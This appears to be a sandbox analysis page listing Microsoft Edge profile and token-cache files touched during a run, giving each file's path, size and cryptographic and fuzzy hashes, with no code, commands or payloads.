Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\the-real-index~RFe5899ab.TMP
Size 3KB
SHA256 74807a83185871a323b212b11d76a31fb156495dab8b768ecfb1b32990d5fc7b
MD5 5328281e57645d76d0ada5af639d210a
SHA1 115f31b0a2108dc9800af26978cf2b59cfd220cb
SHA512 ce9f8989ca07e4746aaa7f9cc80439cca63c667412c01bd2f8089fb7f49af408a39013e0eedebaa9ac1079c3035e5455c5e2f70ae3b66e407a8be47959064af6
TLSH
T12761C52886B2C985F7967431F2E1B20474FD88993A5F3F4E585059BFFA0EB147025E38
MD5 SHA1 SHA512 TLSH

Submit Download

SiteList-Enterprise.json

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\DualEngine\SiteList-Enterprise.json
Size 2B
SHA256 44136fa355b3678a1146ad16f7e8649e94fb4fc21fe77e8310c060f61caaff8a
MD5 99914b932bd37a50b983c5e7c90ae93b
SHA1 bf21a9e8fbc5a3846fb05b4fa0859e0917b2202f
SHA512 27c74670adb75075fad058d5ceaf7b20c4e7786c83bae8a32f626f9782af34c9a33c2046ef60fd2a7878d378e29fec851806bbd9a67878f3a9f1cda4830763fd
MD5 SHA1 SHA512

Submit Download

Edge Profile.ico

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Edge Profile.ico
Size 70KB
SHA256 31a226211c491e1b0832d4cd3cf34d97165e24a7ce4ec655259cd188f3a2bd88
MD5 efe54a870e0f5ff28d7e00036b861065
SHA1 10663a71c9815382ca5a1689dfcebe737c557b1d
SHA512 4d7ed9d3e22a58f0e169c9200e351d3a938c82ab7920567f67bf29d33b28192329ea05657d1077aebaf2c2b5151eb50c84e5ab590733ff824389566d93381c01
SSDEEP 1536:fAlMWz7vLDtDSVlXXwpFlorgLUxF+nubjUDSlBczkF1D/u1:fvuWAUxFDbY+0zkjDG1
TLSH
T1DA639F406A6479E8E814CBF59C69B7D30B95CFDC51A252E831F4FE7AB681494C90CFC4
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Network Persistent State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\Network Persistent State
Size 8KB
SHA256 d1ff2f42b9cbfaf61ee3f6ac1405d9f4959d70423fb94d9219023256e24ec8b3
MD5 6a3a19a2ec5d512530e550874a2d90c7
SHA1 7ece380fff14702a2f2029d1dded9ed1b2d2fc5d
SHA512 c94f7d9db6ea72383be652bbe5d7e59506d8809cc4eabf54bcc66529354f90f586ba7117dc19d5e9eb11c4c0822a565a66561a5cb5dbeef8467f8247c1f0f346
SSDEEP 192:DML1pGQ292lQPLOPI6gvkd8bDSOSVKyD+eTk1/YR/7xDx:DML1pGQ292lQPLOPI6gvkd8bDSOSVKy7
TLSH
T1AF02CDB6D3D5466CCA5615F1BA343E2BCD2D08A883943C05C5D9DF4BC3E2032A355A8F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Network Persistent State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\Network Persistent State
Size 1KB
SHA256 ad34415d308869d9407939c953ed7543aa62188f8114a7c587c1c1a8b23d458a
MD5 60266591754d17d291ac12768f6f08f8
SHA1 5789585ad0be48616957f9203622f4ae813fa132
SHA512 93780da25ef8cee2ef58f5707607d63f3c1b8d7b451a7f6375c4e92da314d5579d11fa628e1c287ab257d84067a86e2f4c15dbef9e67c1fe4c66e5a3669d76aa
TLSH
T1B231CEF3C3D5856DCA0656F0BA246E2BCE2D095583587C15C5D4EF1BD3E2072E10199F
MD5 SHA1 SHA512 TLSH

Submit Download

Network Persistent State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\Network Persistent State
Size 111B
SHA256 5dfc321417fc31359f23320ea68014ebfd793c5bbed55f77dab4180bbd4a2026
MD5 285252a2f6327d41eab203dc2f402c67
SHA1 acedb7ba5fbc3ce914a8bf386a6f72ca7baa33c6
SHA512 11ce7cb484fee66894e63c31db0d6b7ef66ad0327d4e7e2eb85f3bcc2e836a3a522c68d681e84542e471e54f765e091efe1ee4065641b0299b15613eb32dcc0d
TLSH
T136B01269E4517CFF074A83A41928F453C3FF0047421C8ABEEA3873AD42A21BD0C28C47
MD5 SHA1 SHA512 TLSH

Submit Download

SCT Auditing Pending Reports

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports
Size 2B
SHA256 4f53cda18c2baa0c0354bb5f9a3ecbe5ed12ab4d8e11ba873c2f11161202b945
MD5 d751713988987e9331980363e24189ce
SHA1 97d170e1550eee4afc0af065b78cda302a97674c
SHA512 b25b294cb4deb69ea00a4c3cf3113904801b6015e5956bd019a8570b1fe1d6040e944ef3cdee16d0a46503ca6e659a25f21cf9ceddc13f352a3c98138c15d6af
MD5 SHA1 SHA512

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
Size 12KB
SHA256 c3cbdf0932fab9484ad44c93456f760a83c344c7823d2fb64fbfdbd3219d3b48
MD5 3ab63e8848f2c12f55eec86efe8d9f83
SHA1 b3cdb5f8f428a3864557ae83f00ceb9be2ff5e4f
SHA512 43b1cf5c8de407dde785a5275e04d0d0e288ec2973371331d4602883e162abf7f3072cc01647fe93da37dea74c58afd3595ed55599e042841935f97bb3cee1eb
SSDEEP 192:sxZrRcyM/jK1Ml8Mkg/fjsPLmIdpJHn46+WNGY4ktCfIgrJ:sxZriMg/fjsPLHJHhGv9
TLSH
T12542E6126A346977CCDBD209FA55BF53D6F80473A2900E54A9FCCA1C04E6AEC221782F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
Size 13KB
SHA256 f6ed0f628de670ef200b599831fc029347b6e9253d131961b48c2706e9d7529e
MD5 996a3909f653fa0fc81e9886c667986c
SHA1 ebd6267575e344134059a2888c7a7cda4ca3df6b
SHA512 83ea21857de858c2c3423dda7a735e18c62184b09a10260c03dc35e703e8bb91694ebbac15c000536351f28df4a15bf75873f61c318670b834d15b586806a487
SSDEEP 192:sxZrRcyM/jK1Ml8UQakg/fjsA9XIdpXAaHW6+WNrDHXY4vSCfIg5YJ:sxZrKqpg/fjsA943HbPXNC
TLSH
T17D52E712AA345A77CCDBD209FA55BF53D6F80472A2910E44A9FCDA1C04E2FED221381F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
Size 13KB
SHA256 ca1c137246d2c99cfa806787675c09617075f375c48c06f878491c06adeed073
MD5 2b07aa600d9e14fe114da5374aca3f19
SHA1 f25db4627632173afaeea42c99975284ce7f875e
SHA512 5c850b86d12267147a131ac932e9d77db762bf91c953faa9d81fdc3af738471b9e9cb22831828d9e4917629233151d5603046e5e3af79c8decaed061719f2b4e
SSDEEP 192:sxZrRcyM/jK1Ml8Mkg/fjsA9/IdphAaHW6+WNrnd/Y4AtCfIg5YJ:sxZrKMg/fjsA9wRHbZ/xC
TLSH
T13652E711AA346A77CCDBD209FA55BB53D6F40473A2950E54A9FCDA1C04E6FDC221382F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Secure Preferences

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences
Size 30KB
SHA256 c1abd15fa0c3e31fee011c4c0e3e36159e03b816653fd962befdc23bb6a896ff
MD5 0475dd44e2e0840a37f228daac564ce6
SHA1 5cf5ebd4b8e9ecae11ca7ce7477831d7bc9b6e90
SHA512 eb42b5ed01323cc316c950b7df17d4ca1b5b5b5d66457e704950c702f3018e034420e76445d4ddca12b73f1538f5443955f3a0c8f7812937c446bb4cd5cad820
SSDEEP 768:h18iJPNWvx76r8F1+UoAYDCx9Tuqh0VfUC9xbog/OVsALl6opdNroQk8UnD:h18iJPNWvx76ru1jahALocdmgUD
TLSH
T1DCD20A3B680CCB7E4F844E9CEC266F966DD801CB5B984D5447FA884C03C76EA51279DB
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

sync_diagnostic.log

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\Logs\sync_diagnostic.log
Size 4KB
SHA256 e602144d82690b9a2f6964346d0bec391652d323c36b645d5c5915b4468a1cf2
MD5 731e7210e43e859a4bb100ccf93e84e3
SHA1 acecbb460afa41b39d99b1628c39719b20db38d4
SHA512 656c97039441c42078104b797260237e422cc5f8d82e59acd93abef0a53b096410b35f03e9640e40413bc138cca01290f228831c0b746a59e7c68143a9cdb52f
SSDEEP 48:KYBIJKCEkTypEIbKxqUSyhuSsEEey0LFINyeKErcIeQKODTYi/yiWlq2Io4yz:KYBeKCEi6EQKxqyr2K40CWz
TLSH
T1F991620130BB06813DFF250EA2E59A16074375A37519B52B7BE805B30DABE282DFD8DD
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 19KB
SHA256 bf4725c24bda43a2995582ed644e3e387106b9600d4dbf906a6439264fb06e32
MD5 8866815ef52aa4e70751d7fedd423c2e
SHA1 c1857e72912a9d52f64b091d827c4f3a6b59c245
SHA512 14bef5889dc439a086b09d0abb69c2bb7e993c5aa974e0f4ed02400cdc8b22668db1858bd489e00b7282cd511cdfee9fecd044924716b8a157d5853c9f65f146
SSDEEP 384:rZcIhsN+dJ9+F5ZXkqdhdf96HlytEDq1iWd:zh3D+9hdf9oy6DqAWd
TLSH
T114929D3058786D3A5FA3A505F48A3A039FB99437A7D85FD4E5EDEB1C04CA5A8130BC26
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 25KB
SHA256 8ed030d20d2a04a194c3a8208a3e61ea255b17c54015025602dfd86cc8af0cdd
MD5 8645ad59465d13cb6b0b86c0e25d4481
SHA1 2a053e1de5c295827c3af8c75328150c43e5fcc1
SHA512 ce6726d2e23441420336b503e4ada4aaa6aeccbaf00ea4f00c5db3e4fc42e34a6a1a25800e491433270dac28819726fb6228eeb85538f59b2d0a3b18ad254a31
SSDEEP 384:EZcI6zsN+IJ9+F5mXkqdhd696HlytEDq1iWd:iS2D+6hd69oy6DqAWd
TLSH
T100C206F054E75836CA9EA307A3BE3D035EBCD023B6985A94B3D9961CCC855BFD30A815
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 8KB
SHA256 c4d2e23f31a31dc228951e693aae1635fad0c6c3b8e89be83c36f58f078b1a37
MD5 53d2855f5b61c30354d41e45a7a1cef0
SHA1 869bf9f52d6e42037fe5c134b9bdaba10394790d
SHA512 e078e98c6e6d7afbbb17d633bd180794c6ba5ba3c7189122ce2919c7f59ca3eddecaeb57d06d3c3a0dd66d0e20145b380e5e86bceaf79aa1b146994eeea57e6c
SSDEEP 96:ZqONk6QsjpfmUTmDK5ih/cIPURHl8h4otop5X5DrBhPwivh50xy0SFYKIAxteYk/:gONO6kDfQmiUyZVZ903vZQicqU6
TLSH
T11D02E8396878687B8EA3AE49F58637275FA5202BEAD52FC0D9E81B1C00D764C1307827
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 20KB
SHA256 ed19b248b546f9e31a963675d9c9ea8019306137988436639fe07f63324d13b8
MD5 fc8c9187fb1065f81281ea6c7ea44000
SHA1 833bb5afe8238656dcc0aad68133ea0656a6425e
SHA512 b5fc0888f890435bc84c831d0b47a7ebe1454b058526eb4738f9edcb02552075b826dc7a2e59213dc3bb267b2bd8c187d38264be76835c67ece6b74868284d9f
SSDEEP 384:yZcIhsN+IJ9+F5ZXkqdhdf96HlytEDq1iWd:Ah2D+9hdf9oy6DqAWd
TLSH
T1D0929E3058786D3A5FE3A505F48A3A039FB99437A7D85FD4E1EDEB1C04CA5A8130BD26
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 8KB
SHA256 3f84e8f98b24c2b2d896bfa6359952ddc924344dcdaebf3ff2353ea454a73f0d
MD5 39f6e386424d6127cb5427677613d0b5
SHA1 edb8c5bb5b3e84212aa3085783a40d79cad55e9f
SHA512 ea0473143e0f1e0ba5a67dbec522ce9283414dfcf337e46d6b85b9dc96027107338303cdc881cc7c747f2190c45b19607d53193729e922dcfc5922c3535bb300
SSDEEP 96:JqONkjQsjpfmUTuK5ih/cIPURHl8h4otop5XrDrBFPwivh50xy0SFYKIAxteYkME:wONn6krQmiUyPVl903vdhdEcRMqoOU6
TLSH
T10E123931A8A8AC7B4EE3A945F48732139F65813BEBC96F90D5DC6B1C01DF59C130B816
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

c9910ee4-6dc4-4755-ac05-50ff51524900.tmp

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\extensions_crx_cache\c9910ee4-6dc4-4755-ac05-50ff51524900.tmp
Size 13B
SHA256 2771d13c637c267132afff9db67537bef95708534b79ae8d954254c4e64e4e0f
MD5 2aa9e263ee3796d9ce358460a2451b4c
SHA1 7a55d937c0cd1f7543a12be730e4a78d0a14a545
SHA512 4909e73ffd1a777a9f102a8831f6ae5a9091084a2755707363251f39164bb65e22c318972ea59e7155976c6a626691dfa94539ee752f58e31aa16f4de5cdbccf
MD5 SHA1 SHA512

Submit Download

5a2a7058cf8d1e56c20e6b19a7c48eb2386d141b.tbres

Path C:\Users\Admin\AppData\Local\Microsoft\TokenBroker\Cache\5a2a7058cf8d1e56c20e6b19a7c48eb2386d141b.tbres
Size 2KB
SHA256 8109e69e5a8db403a9cdb074d22f4e00aae137c951e5114126a8f42b85624a58
MD5 ea3db2bfe71b2a25217a1cc7a17be145
SHA1 f0d2b948b5191550e7778758166e9785e160a28d
SHA512 c4ac719fc4dd150a0e3164a1300d85d2119befd399e306d4a618ccdd6b093d5803efb005c7eceb27ecd5661d5a4a272c84ff53d7285ed9692492ffe6f342c025
TLSH
T1EE41265CB6F92148B3B67F5AAFF6A46D047A78772E4AD45D10000E4F0662A40C8B1B77
MD5 SHA1 SHA512 TLSH

Submit Download